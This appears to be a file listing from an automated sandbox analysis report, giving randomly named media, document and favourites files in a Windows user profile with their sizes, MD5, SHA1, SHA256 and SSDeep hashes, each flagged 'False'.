C:\Users\5p5NrGJn0jS HALPmcxz\Videos\dDZIFmz5oUjH6dudt.avi 45.72 KB MD5: bba18e441c689bda2455ede8872138d0
SHA1: 37b1a35c9def2d9182d02a86840ab1bf39bc2401
SHA256: 0aa1631017db679de7ac327082fc0f2d1651f73a5038781cb794f72df2f2c4e8
SSDeep: 768:WrrCwna5RLVlQAiDBCfm6ow5ie7PsU8ZFvRtik5fUfKa21blC8m7mR3Tlm0IcbTX:WS9RJlQAiNCuHU83RtMgNltomZQ0Icbj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\iLHPbBavnh_-fnnaZkXR.flv 65.49 KB MD5: 64834b8f11f1b9a446cdbc1b0b49b464
SHA1: 949ee8c95c4cf0995b0de7e7822b9d0ce51bbd12
SHA256: 291a547a809af427ad06830947adb396fc9d76e16e724787f732dfe0a94facd4
SSDeep: 1536:UpQXSYj/euRDMD/0Wy2w6ebk23us+isRuYR3aqyuoc:w0vGIDMD/0Cev4uY1aqyu7 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2q_u.mp4 8.32 KB MD5: f7d998057314aa71183740cfd1e559b8
SHA1: c4abac111f7e46621e881ad0d01b949af58a676c
SHA256: c2e6107fce1fa6fe4812090676e0b1479e097e9349d07fea985ecd23097eb026
SSDeep: 192:OjPwTi3u80NHI/BfHXpIDOd0D1DI/klxhi8hbnEgP31QE60/0:OjWi+zY/h0dtUibfP3KE6G0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\km4Z_piC-Thg5BA.mkv 27.94 KB MD5: 079d2c5d83800836f94aeb9df518da5a
SHA1: 2cedd3d71ef4f5b9fecc1cdda7a33706498c7796
SHA256: 4fd4d9edc0225861081ecdd062ff742ac07dfe46d0d94e7f6f1e8a24a5f5d73a
SSDeep: 768:mbwIQugqdP0c4KZ5gBqkwl2BvTRjqtefelWkZYa4NSZUX:mUF9lc4K8VprRx21ZYFSZUX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\m 3MWBBW.wav 44.03 KB MD5: ea3d692fddb0e5e0083b412361b91cb6
SHA1: 2063bb1851bb401e7234e477ac6f2dc42aed5f19
SHA256: 4fda84fbe675da5ac59fb9b3144ae7e0b57ec80acb8b95fa9c119648cc408fd7
SSDeep: 768:gAwE6A+aHC+E8P7m0eDwTZDX1q53bT9OODwOQ/R+PBhR8svSoBFNuZkBCTsz4HMe:gJE6AEfW7m/ODarT45wPBh1vSoBfRcqe 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\QdsM.bmp 61.81 KB MD5: f90c62e824a5d1f48cf6e8243bd6de00
SHA1: 43c54c81a89e1e2d23273f11e3fed3c4a4ee5e9e
SHA256: 62780fae3f74516f770e3be982c93ae5c2f577929d4434e9cd0af7e9fe43d5b6
SSDeep: 1536:Xs9xRMOkj6n6MNhfmPH9nBd+KwHQSOPrtKIUM:X0vqj66smPH9BUKumr4hM 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\tAm2MqanHQ.mp4 72.94 KB MD5: dd2abecaf15007c82d00f53fc076ef4e
SHA1: 01ad413772420022d2010694fb4e0f96e9c768a2
SHA256: 7dae1503b2b43efa7695340d8359b0e4b52d4610534f86fe5af2a4bf15f3afca
SSDeep: 1536:jC8don1TabFlCPylb0ywJANCgqOPFjMHPeTNY0nwTe72eg0drIjx6NJss:Zdon1TabFsP4oINH94H6NSC00drIj8Jh 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\UFvFkY3N9hbJPN MXkkx.wav 35.57 KB MD5: 9b00ee8427d2faa7c7a30b9e4b82479d
SHA1: 091b322328663289e28d21d65e9e5a4dd96abd20
SHA256: 5cc91d208b75783eca4f5cb492b07b8d071706e4565ffc98ad0712ccc4bed65d
SSDeep: 768:gjPqyWjgj8ym48TYAd/OoW5VAKc+cfSg/BmazVpP2P1ZVDNBpcjqO2:gjPqyggAnRYAdmoWv5c+mScVN2Zpcc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\XECTs3JItZ.pps 59.42 KB MD5: 560c08aa5b1604aea9ff59de3ac2ecb0
SHA1: 70b3348227d93534dcb5fde141dec8a1a83dcafc
SHA256: 9cc0d152e2d7c124ed936123f95d5e312b77a8e9f1fbf09a6181961f6b3afe9f
SSDeep: 1536:J5B3sD2JdUij7agkOTx/EXYWWUB9kStZ45:JLe2JdUi/aKhEXPLvk0Zc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\_vK1Qkjp_rOYPZZA.avi 38.39 KB MD5: 622daa9995f33694cc35fda8f1144415
SHA1: 95f5607dd2be2303497e9147f4741f1f1c5f0ffe
SHA256: 052d64cd7c9bee8cf7230ff4586ba788c20ffff5012ab3e00743b97586816539
SSDeep: 768:bVHiDnU165dBaEwNf+VUtHDdZvnsda86G6HkwA4eYISPF:hHiDnpwEc2uU36ieBPF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\IrPWAmnZ4jkLi8.xlsx 52.35 KB MD5: 7efeeb888faa82d2fd377edbaf3a6aa5
SHA1: eadfaac06f65ebafc546afa468673b0733aa9fb5
SHA256: 153b74f1b6b7841c546c0156354533193d0207275d224ad4ec4c1b445b1ebe92
SSDeep: 768:q4D9LSlNSEVgxHc5y9DIhWkRs8WoI3VaS96ukW1sPBlWJRZELk/5pWe4y+Bb6f0m:qYEIcgOhWQJI3sS96uqHKkLk/XdQPAJt 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\S5Y2z-QfT_jhbg-.doc 56.90 KB MD5: aecbebbdc3539da8576b501ced4c9f7a
SHA1: 240c8d0b422b59aa5d2e0135cfb9c8c4dbfb1458
SHA256: 14b8d3208e43a40a81103fbfeaae573689e127fc19847cb3437ea44630bb639f
SSDeep: 768:86bCO7IM1KJn0YXxi5CItAj8MaD8Q/kCpQnCG0nUUf14kAbGF+mYCEE4EyNC:DbRI/Pi5CynDlnpbjjfSkAbuhByNC 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url 314 bytes MD5: 346f673e0a60f6239b56b3e3aae6b448
SHA1: 3f871d440e31e624852c5b799ba659f54aa64854
SHA256: 4d99a9802b5c894afab308f8e1ae6618e62457903b7ce7ab244377f5f30dbd86
SSDeep: 6:JxWdfXMcTxrkYSYjUokIMLK4cbsgK8Sl4uxIUDEc1X60QjlbeWxcii96Z:3QXRlSr5dfcbsgK/pSEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url 211 bytes MD5: f65fdd3f7f88afa9dd94dbe76f45a724
SHA1: e6088a68892227cd66c26bf26d8e7eac97c786d7
SHA256: b8fa4f407bfed7a3482cec4434424e4dbb28f40fc4f689c5b94fadccd6f69888
SSDeep: 6:JxWdfXMcTG/YlG3rsylu+al72Gfwc1X60QjlbeWxcii96Z:3QXRGTsyfkbfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url 211 bytes MD5: 136eb2ad40884936d6ce7c2ade1edcdf
SHA1: 4c44b80075b2963ecd8fb23eb25994cba4ec75f9
SHA256: e28346adf7e2cd101c93a3016ec9cb693226fd485dfc6e213f7cdf48acd17bf5
SSDeep: 6:JxWdfXMcTG/YlG3rsylu+anxR0Gfwc1X60QjlbeWxcii96Z:3QXRGTsyfizZfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url 212 bytes MD5: 9a825e5662f0195aee6931521ec5cdd8
SHA1: cbeed32a9e95eacc978efcc4c46d8b4b17cfa07f
SHA256: dd16828d85fbd79d0f4c1a1b143cd6c051cd9facd6985fb4d157a7d96d857ca3
SSDeep: 6:JxWdfXMcTG/YlG3rsylu+aooc1X60QjlbeWxcii96Z:3QXRGTsyfoEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url 211 bytes MD5: d8f39af29285614f1361612f8d09336d
SHA1: 2e017018c05b141c1ef8d21327d45e95527cc8c7
SHA256: 6f6edd3360dbac77afa22e2d29f8b96aac92dfcc7b965008689f887013267d69
SSDeep: 6:JxWdfXMcTG/YlG3rsyluek04Gfwc1X60QjlbeWxcii96Z:3QXRGTsy/k8fmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url 211 bytes MD5: 74c99f128ec899cafb7acef6f21eb16d
SHA1: fd23257350b512e8161887c252d5ea6cfaef0e72
SHA256: 34407936c625dc5c467d482d1149fe808957992a103f92e959d6a36c011d6948
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzKoGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kz+fmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url 211 bytes MD5: bfadf007caa3b07ab72bfc907dd74daf
SHA1: 124a3f6f92e51a942320d9e1a9b0d4b2c962e979
SHA256: 88a386f406e45eb80cf3b7a017522815d4a13f18d16f493a33ec0f7aa277f82a
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzB+oGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzB+NfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url 211 bytes MD5: e978d61d3cb696be0cd387f6186a972e
SHA1: 778874dee6cf00066396663fb7449d544792c3cd
SHA256: 3c3fd6c81015f4a6ca7967b7a2f3cbb990567151c8bd643dfe0054dc5104e3c0
SSDeep: 6:JxWdfXMcTG/YlG3rsylueklqGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kl/fmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url 211 bytes MD5: 5e0f12284bc7ec3c06efcccc8051ba5c
SHA1: c36c7bb7518bdd20e88064c0997da405cf691196
SHA256: 7b401b33be3bee89f29854da4107cb320f7596bcaded0c022395395a6e5864c6
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekziGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzHfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url 211 bytes MD5: 272ec11d00508172e39d91a8f2e7db13
SHA1: 2489aba4187b5d4d49d09d535c5daed6ddc7a16d
SHA256: 2491d03e0b7c7e8a921297114988a21c926ff4cf265e768be2e5586db97db09d
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzTsk220Gfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzTs92ZfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url 211 bytes MD5: 95da15ade52edeb92940fdf79f6e6870
SHA1: 3752f703a277d89d5d9783ba335d46ce1f19ef66
SHA256: f5c083394a8934aeb9cdfa5ae1856c74b17fa599e52b503aa331cdc5747292f0
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzgoGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzgNfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url 211 bytes MD5: 73c8ca9ae8ed7f1e30675f2b6d41b7c3
SHA1: b940ab3043542b8b7a31a2d778235006da09e7ae
SHA256: b32fe87865a5afca4fda9f9046785e5bcc6a6e17db9d4e4f59177c7e7921b7cb
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekz+BoGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kz+bfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav 44.91 KB MD5: 85edf097e3d71ecf4f9f9df250b17de4
SHA1: 5dd86ecb64080892e57383189da4104f4ec95cf7
SHA256: 5b76efd671aa2b03ada55ca7a0a8ed26d8c474a4106bb04dceda7a44081601f0
SSDeep: 768:gNJgBqGjbER3OI1qETSLGaKZEpL7VAY7THOOBfO/UbTC5gqaX+5K/L6r:gwBFER3OI1qGSLFKZS5THO8kUbe5gqoA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav 82.67 KB MD5: 0ff29f25a58cdca6a1d0d9b5a725e6a8
SHA1: 5d5e54aa4fbbec4e6306c6fe8078bfe23047bc2a
SHA256: e8f6ca66ad05bd8dff9c490318b6874cce14edd254307f862a9892a8aafe013c
SSDeep: 1536:gVojbpUcqZtT5xJi0sCizpWzHgUshYuxNKBOFZhuZJBLJd52xvHPP:3NctTbJiTFzQzHgUJubJKBLYxvX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3 61.92 KB MD5: 3a954778809ed3430e321c8d4eb37bab
SHA1: 7265bb011f40b59d682be6e30957514dd82b58ac
SHA256: 75a341301db449dac365aa91df13aea853c377d6426fad803bb2607a0c263466
SSDeep: 1536:3wqLCCtAKEi6RbltC+u4cBdiHmr96eo2yH+Fhhq+pYZv0FxZ:3w13igbXnI3wex6sxZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a 53.55 KB MD5: 8bdbd9fc30307486b752782b21286655
SHA1: 0b0e32e3adaeea108dafb4941f4f0116fe5d5ac3
SHA256: 3ad7cf462c128bd174962c231b722acb9b01c2e9b655f9cd1174d0fb4da6bc6e
SSDeep: 1536:qt+H5Rwxk1uffA1nhl1vpiVxaxdgQmZxvaMq/FX/7D:qkZionh7vpFdCj9qNv7D 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3 79.01 KB MD5: 72040fff0b3eb21a38320773e3528cf4
SHA1: e7c230aff03cbcbf6c0e763dd5a2f036f2b3d5c4
SHA256: d61358173b28369377ed85759f9eeb702c96683b69c53a5e9609846132be5f59
SSDeep: 1536:+Hz2JalEnUoGq0ylRCMZIJgdALMgg5n6/xE3QaDVqbLFbKSJbSIjHP72Hi:w2JHUoG+CMeJQtgCamQoIL0CbVvf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a 6.85 KB MD5: 09171116a23b3b2209ce764a5efae39b
SHA1: 4359c7fd8be698287403421acf761c61b442e4d8
SHA256: 289aebf06d353b70b4b1cd71d8b9f1eff1cc99d0c8ccc811b3076338d3afebb1
SSDeep: 192:Ghp6jpDY/wGnI9KyTBw+qvMPOuMFCpmkzT:s6jphd9Kytlq0WlFQmkzT 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3 11.41 KB MD5: 85de464810ed8e15223ff03ba63ed7ce
SHA1: 417d167bea9ebcd1a1f006f6fae020b2e5231c44
SHA256: 08aeac4773f75b25753b2d3a5806b3973f4c670ec093a21f16b631a778db78dd
SSDeep: 192:3BPHp1eMpbpwIyOSnLY9lA0SkJYMPJEoDS7YEPUiTuV8mnIZOGP7R2jwSvNYWrWr:RPHpNpwIy9EfSkpWoDBiTuD47MqWrWoe 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav 96.78 KB MD5: 02d02990c092abbe34e2b29d064018ab
SHA1: 24cd7ee09535c28b390ec0d413941ad69f862008
SHA256: f2c1bfd21705faa728ba7b8b9145415202c3d0c62880120770793108bedb1a01
SSDeep: 1536:gSal2sMyIG2f7czMiSs3Iox6qfY4pnC8V0ojEsQT/z/au35obYNcTpb6cQAmgCNj:fFyIpzcNIokqXnCWusq/az8cF0AxCgO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav 2.44 KB MD5: ee877fe2de83f7897c8d229bec7da329
SHA1: 298c01fa50b629ac1a0d6dd084c713d1ab0c3d25
SHA256: 576191d1aca7a218a6d9873c1a0127aef2f1b2064aa61fa5ee4fc11d8bc74279
SSDeep: 48:gT4TpQNKt9M1oyIFLMIGbtKSDCmjn6z/tUcH37a+pL/98Us2D:g9NQ9M1oy8MIGnmmjn62GHL/x 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a 28.51 KB MD5: b2f48ece17e9aa0d60484f78439afe43
SHA1: 444cc7d66603a4ecac7d69d96ebcaa924488773f
SHA256: 741c592bf23a8d7dbc554e0bd51742c51729b1b8b8a71ab4b75f7cda7f187117
SSDeep: 768:IK1OqUZKV4kOhD3rrUoKzk02K95kAigmL1p3:9ObZKCkOdrUoKQ0VAfL1p3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav 44.78 KB MD5: 28e0adc2945a7d55b3d9eb492de59197
SHA1: e5fb948f167379304546cb72ed69401682a1b867
SHA256: 715f8f13e477f9b9eb1d3cf02c31de2e72c8d6a1d656207604ed607f4e9558cb
SSDeep: 768:gUk/U+iiDwO85icED9f9sIqDchJWDNQbKyC3kYZ9feUWKwESn3RixWm6SpA6D7ry:gUks7gwOYHAf9cDchJWDNyKPkYXe/Kw5 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav 99.17 KB MD5: daf596d371cf79df98e028f1934609a2
SHA1: bec3744cba1e029ce2a71735e3a7a9d9efbb5866
SHA256: 28b401dce0d5a2e8c8042b0d976be484e9b30f85380c8a9db915f9be7318a0eb
SSDeep: 1536:gEkmZkUE5QcUfpIWE6gbG5B62PcL5+leqech4TXCrfCfdj6ukKzloaJPbhaS:8QcYpIWdMgvw84rafYkuX1YS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3 16.25 KB MD5: 2633b996b54d16a5836ab3f4dcf7f9cc
SHA1: 91a5e331a905b597a5f5bbb67b5742209735dfca
SHA256: 6af1a9461d00e3716ff98f169da100cc5bf49232aef6528a2b7d9005fe933501
SSDeep: 384:/S63PLMWAQAmrdSdKha4E3N1liX+c1GvmosxR6ZhyyHb7j5GwzzxRdS65dM:/nDMWAQAmQkc31MZ1GvmVo75TxbSl 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav 26.92 KB MD5: 3d7cdaa7368367169f79d6934d94136c
SHA1: 391471a127b6bac2a0a361357c276990d4c19901
SHA256: d14aea6752637cc143ddc2b90a4e571ab2a4e07b2825b0b99c8c28da88b29b87
SSDeep: 768:gb7FykWSEqKUtCism7vq9mNVBmLieOi3bTn:gbVWqzTb7iETmLJOQbTn 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3 15.40 KB MD5: 401a5afe4c4377d4870d65908c4adefe
SHA1: 9fb2bcc121ebd499426f62ae9985e837aac2a840
SHA256: ca45c11ee3418e3f826f34d08ac48b93dbc059087bf3440b591af00a0114c57e
SSDeep: 384:+qO7IRLwvwRRUPerITgf6/EAsHJB9CsJHArzebww:+pwRuonf6/EJ1JHAzO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3 4.26 KB MD5: 9df409fb3e107f5a2702338468a6a38c
SHA1: 4c81210ac1b745cffb8fcfcca515e19396e4eb8b
SHA256: 91b6fa0714f02c8bc1a600ff6760309538c01e87e65aeb8bdc05f4732345b395
SSDeep: 96:IOkBBfLYC8v6kWr8c65F05eplsATSIgw46t:IBBevnZphXNSHq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp 62.66 KB MD5: e1db5629751930492744ee6652542cf0
SHA1: 739595b4b7a10a4c712f2d67940fa5fb1f7e4454
SHA256: 08892cb4f93b8d3ed60fa7adfd60cec9759ec749c03bbe22181a454bf25ffb3e
SSDeep: 1536:1WDaeHZckZgHXtJISz4fYjOCsCviqYVmuyGwaY:1ZmAnfz4fKshVI 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\-zbo jfn3hfrTF0uU6.jpg 5.09 KB MD5: 24f3c3c8ceb98716d8d76a1c50e03c9b
SHA1: 20efa0951e5730bb84b0ae59c5cd185e56ef2ba4
SHA256: a8a0b73079237aea2f0c9c18684ff28004572a2d7f7eadb0bb6dd61eb637af87
SSDeep: 96:Bs1IX0LHeWZoLtBwVH3P/WxxlbaLPXiPpAjHxPmw9Q+zY/BUyiDHSHos+XFipnLq:BssoeWeLtkXPOJESPa1+QzY/BUywyHLi 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\-UgYo9aAU h.avi 49.74 KB MD5: 65f90dac4c700868d4916d82b2d92b6c
SHA1: 1a7efa4c711da749b5cf901ebae89378530abd92
SHA256: e25857b23869787adb5738fa3cb2b19563f78e079a579f0f57b245a93592b0f8
SSDeep: 1536:DMnFwgc4+6iSJRz+mt7zk5qXGEIDA1fbZ9+:DMugc4+RSPX7ID4bZQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\e77CID6eVsb.mp4 26.14 KB MD5: d70b32671c91f8c8c8e74cc8874c26a1
SHA1: 23fda3fd89fea146e9f656a1ad132e848806da2f
SHA256: 36b6946cfaf07b053de1155f19e7bba1686386579024d02bea7aa1c9182381bd
SSDeep: 768:B4XwND57RF+fzVZL3d1vfRdMs52b+Nmow6j:bNRmfbvL8V6j 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\vBaKWI7Uy49TuUWs.mp4 56.35 KB MD5: 592e70214a4954c487a5e414a5426522
SHA1: b662cf590a7a1926cae54a529d258c80fff6ce62
SHA256: 5a3e633b6f706fddadc0df6e7e80b9548ac6df24a01aedfa6fe6cd001ee82349
SSDeep: 768:Bazgu6ZsnkcCzN1SKiPRhtCRoB/bQEgDqWD3ncEoz6/awU5OrQnbK3toLuD7gP0H:BaMu6tPN1SKiJht7Pg+u66ukoLOXVV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\7zbK-lw.mkv 81.07 KB MD5: ae3bde57d2ff9453ebc3a5592eef79f2
SHA1: 11503d5bcc853c3dcf1d5818177e4964e49d0914
SHA256: 39c2b9292b62f4e75a1ad3c7b48ecf985e800d2609e81c93763722520ad1de04
SSDeep: 1536:yHug/SweR2Uamex7jojQryonlFmDaN6qfjZ3KekELeMFSluFmok:rZRImepbyonlFmk6AjZlxFiTok 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico 29.30 KB MD5: 3217f97dbdba4a8956cf0311da61c74f
SHA1: a48a1134bab2c41913577d0ab526d25ad18ac44c
SHA256: cc9f2cb542ec3bfe741a3c58d2298cd933ad6c9f784f9f972eeeb23856f714bb
SSDeep: 768:kQCV5BbRXkMfyjCKzJT+YmOpZxCtQrIUNghZHAS:4XbajCKtTDm2cAIUNCAS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\4stR3pzmU2IjQjPCv2.pps 43.39 KB MD5: 1995b23551a1b74afeb652bb63d61ce6
SHA1: c0d14f892afceed3e3092b736bc1212d813b7693
SHA256: 98c5def9ec45a06653a4dd6cd41461a803e950f181018c16875645cda3a43bce
SSDeep: 768:fhQxpqrPGgCl5EZ0jBk7PKc4vU+a/6HmoNtET5WIXY23kDCqeSPDfXTmMFap+:KxpqruZlAIW7PKcGU+m6mowAIXY23kD3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\9iXgtByQq.doc 30.33 KB MD5: 3885e391e128e003a0e3a3194fb439f2
SHA1: b6d8de7e14f552eed104c0d8074054091f428b1d
SHA256: 5870c7b0d52f348007b048a552a3a598fcb87068850c8a823611914cd1320d85
SSDeep: 768:g/B9nKZOE53Wy3/K6bEEvz96Yp2j4GAdIJTriuHnV:4nG/5Gy3/xbz960Id4IJTXV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\bv9GJsGpfm.odt 91.23 KB MD5: 36d332ed47ca9e70fbaf02ab6b7b16ad
SHA1: 0db972c4b4d2611ae35c93931a053ad055f9abfb
SHA256: 360a321f84572df978801e2313946d83125f120614eda9e4ff06860bf956cb0d
SSDeep: 1536:5AqH6R9ztW9tqOONidj0QvNjjxyxdZ74WsPFbVxf7q7HdoAx03cEl72UXZ4T:aqa7JW9t3Owj0QzyZFs9b/f2jH0MElzQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\c1Jyfiy2PqeG94Rl8.ods 26.77 KB MD5: 4516adb9deff267367fd4b9c689e29ae
SHA1: 511d54d8b5601cddfc4006b52f0f62b87d526b66
SHA256: 1ba1093003f9e735dbdd30e2b2b4ccf698c5c16534b3b02fd01e608720764c0d
SSDeep: 768:vHLtrTBWMasu3iJ9TR7PXDWxwQMSE/VqJy:vHp8Ma6F7/DWASMVz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\p-btCK5P5-k.odt 94.08 KB MD5: 8a61f82c1ab8a4d02ce884eeb8b315f0
SHA1: eeee2ea4ef216c4bf7a0e332075a2572cd6d8d98
SHA256: 23debfce152757c6a9e7fc0e26f4cb27fcb2cd21b8ca5e1880e44ac5fe170d43
SSDeep: 1536:5880SjQNnzLxuoSmCGkzspxJowCHj+1QmW60jdCmb5pRAE6Iskp/em:5B6/xuLZaxJowId6c1b556Bkhh 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\DpUR93 xREUOdJVi.png 82.85 KB MD5: c65e561e159b6d264c91f07ec63f5c0e
SHA1: e70a9e1606b3777bb855dbb5939f8e3247b378b1
SHA256: e22dbcc624f2a8412d25af1fdd4719a0b1ce91612c87e16f8ba9f4be569e0839
SSDeep: 1536:g4qBvZBDVhbY3iZhO+s8V3pZITxp16Q56N/VBpBprh9JDWN+/n9X:aRBDVhcWs1i/IQ/lhWNM9X 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\nf3YcZ LLVZ7 8gtH.gif 97.57 KB MD5: 7620483fde596d2c177c5490970502d7
SHA1: 23e2862ea1c4d7f9b9fc7673383a8d8fb4db6b9d
SHA256: 6e5e5b50c3ee45f931103190ea126577a3539ab26d8a08ec2db5a8eadfddde4a
SSDeep: 1536:rf0hiRDQDF8l3aQHNwdRV1Xssq+m0Gwp8DznO+i57HN+Y9LuyBNOdu+:r1ux8lKxddXssqIGwWDfu7HNdBNGt 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\4p5iJ0lNQ.flv 8.24 KB MD5: ffeead8d8e1b81ff8ab17f234da196e8
SHA1: 534ddfb2733a18c1ca7559e03a511623f1ad6246
SHA256: 282a79b520585a42b7e23bc26e133d2a6974e6f7eaffc407276fe1025e163a6f
SSDeep: 192:SyFccAXDmlXuQXBBVexG2mQ0yryp/6KzFeSTENGcCpAUe+09iQ:SyFOGR/eGbj/E8ENG9AN+miQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\NHai0BU309Bkv-O-.avi 91.46 KB MD5: cb0c089c5f08f182054d9fc812e23e5e
SHA1: d31f311fcbd56c97d059f397bdf597b1e18eedb0
SHA256: 1753171ddabec29c577fcafbe6220a365881e6d61774869f2b926e92cf772929
SSDeep: 1536:g4RUZG1pu5ovKXjl63uGAba6SqoZnd05/dq//D8PMSVLBkD3wjxdgrFP9v+lBGwx:xmZiu5sKzl63RABSqogvq//D8PMcLGmx 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\OwRMCKP7D2.mkv 46.58 KB MD5: 0dc905ef2767da88b7b67370fb07c8a3
SHA1: f3af290ebd17eca6d8bf4634046780a04c80e57e
SHA256: c69082bcde6f58f8a6b74db963e6862cf3aa1f620f042fcbb9e1509f58391b88
SSDeep: 768:UQWq71YYtwtpAO6ZSBtmyeTeWfsZuGMFzuBcD+by0+MqaYQ/jwWMZxqCt/AkJy5+:UFGBU91YeWEZ/5jYyMZPIkOAP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\1NyKTTnONVZsk.avi 31.30 KB MD5: aad4de4fefa987f931f31398e733b635
SHA1: c35b85df593a4940a3cd6677e63c8542570687c4
SHA256: e132efcfb1154975d0013ed092e8aff1db841c8eebbdcb7d9da5cfca08cb7d6f
SSDeep: 768:C62XkID1c60SHjQntwT0+ve7RG7VVrdnl+pKF7m8:12XkS1cnSlT0YeELd+D8 		False
...
